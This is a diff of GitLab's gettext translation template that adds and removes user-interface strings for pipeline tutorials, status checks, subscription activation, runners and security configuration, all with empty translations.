@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
